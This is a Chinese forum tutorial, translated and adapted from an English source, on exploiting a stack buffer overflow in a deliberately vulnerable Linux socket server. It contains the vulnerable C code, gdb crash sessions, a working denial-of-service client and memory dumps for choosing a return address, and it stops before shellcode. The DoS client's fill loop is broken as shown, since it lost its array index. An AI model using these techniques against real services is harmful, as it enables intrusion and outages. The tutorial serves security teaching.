[教學]如何編寫遠程溢出EXPLOIT Linux版
譯者註:想必很多朋友都對緩衝區溢出非常瞭解了,網上也有很多關於windows下的緩衝區溢出漏洞的利用教程(本人也寫過幾篇)。但是linux下的完整溢出教程我還未看到過(也許是本人眼拙吧)。今天在國外的一個論壇發現這篇文章,感覺此文是一個非常不錯的基礎教程,因此決定翻譯出來供大家鑒賞,自己也算是鍛煉一下英語翻譯吧:-)(其實我是在看完整篇文章後,根據自己的理解寫的,幾乎一點翻譯都沒有)
譯文:
閱讀此文前,我假設大家都會用c寫一些基本的socket程式而且對本地溢出有所瞭解。OK!我們先寫一個有漏洞服務端程式,代碼如下:
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFFER_SIZE 1024
#define NAME_SIZE 2048
int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = '\0';
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);//沒有做邊界檢查就直接將name陣列copy至buffer陣列
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;
}
int main(int argc, char *argv[])
{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}
程式非常簡單,由命令行獲得埠參數,然後在指定的埠監聽連接。如下編譯和調用此程式:
user@linux:~/ > gcc vulnerable.c -o vulnerable
user@linux:~/ > ./vulnerable 8080
下面我想檢查一下這個程式的一些位址,看看它是如何構建的。我們用gdb來調試:
user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080
現在程式已經乖乖的在8080埠監聽連接了,接著我們用telnet或者netcat連接8080埠看看:
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Robin
, nice to meet you!
Connection closed by foreign host.
user@linux:~/ >
這個簡單的服務端程式只是簡單的獲得名字然後再將名字回顯到螢幕上,讓我們繼續吧!
如上操作後,gdb調試器視窗會有如下資訊輸出:
client from 127.0.0.1 0xbffff28c
/*不要因為這個位址在你的機器上不同而感到困惑, 因為在我的機器上是這個位址: 0xbffff28c */
讓我們開始測試吧,重新telnet 到8080埠然後在"My name is:..."提示後輸入超過1024個位元組的字元:
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
這時你會發現,連接中斷了!讓我們看看gdb的輸出吧:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
// 不要關閉gdb
正如我們所看到的,eip的值被置成了0x41414141, 或許你會問為什麼?讓我試著解釋一下吧:
當我們輸入了超過1024個位元組的字元後,程式會試圖將name[2048]拷貝至buffer[1024](譯者註:注意看上面原程式中我加註釋的那行)這時由於name[2048]比buffer[1024]大出了1024個位元組,因此多出的那些個位元組會覆蓋到buffer[1024]以外的緩衝區包括保存的eip的值(這是函數調用時壓入堆疊的返回位址),我們的buffer就會像如下這樣:
[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [EIP]
// 別忘了,eip是4個位元組的值
當函數返回時,會從堆疊中將先前保存的eip的值彈出到eip寄存器中並跳轉到這個位址繼續執行。然而由於我們已經將保存的eip覆蓋成了0x41414141,所以程式就會跳到一個錯誤的位址執行從而引起「segmentation fault」的錯誤。
到這裏,我們就可以寫出這個漏洞的D.O.S版本的利用程式了:
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
int main(int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char buffer[2048];
int s, i;
if(argc != 3)
{
fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
exit(0);
}
s = socket(AF_INET, SOCK_STREAM, 0);
if(s == -1)
{
perror("socket() failed\n");
exit(0);
}
host = gethostbyname(argv[1]);
if( host == NULL)
{
herror("gethostbyname() failed");
exit(0);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));
if(connect(s, &addr, sizeof(addr)) == -1)
{
perror("couldn't connect so server\n");
exit(0);
}
/* Not difficult only filling buffer with A』s.... den sending nothing more */
for(i = 0; i < 2048 ; i++)
buffer = 'A';
printf("buffer is: %s\n", buffer);
printf("buffer filled... now sending buffer\n");
send(s, buffer, strlen(buffer), 0);
printf("buffer sent.\n");
close(s);
return 0;
}
為了進一步利用這個漏洞,我們需要找出返回位址的位置。讓我們看看如何利用gdb找出返回位址的位置:
接著上面的gdb調試視窗(我希望你沒關掉它),輸入:x200bx $esp-200 ,得到如下的結果:
(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <return> to continue, or q <return> to quit---
我們知道我們已經覆蓋了整個緩衝區,那麼我們從中挑出一個位址來作為返回地址(一會再告訴你為什麼這麼做),其實這個地址我們是猜的。或許你知道NOP的技巧,這個技巧可以使我們的exploit更好的工作,也可以使我們更容易猜出返回位址來。需要注意的是不要從離快要結束的0x41的那行附近挑,要從中間挑這樣我們一會要用NOPS來覆蓋它,我們這裏挑的是0xbffff5ec這個位址。
[ 本帖最後由 philxyz0316 於 2006-7-23 21:34 編輯 ]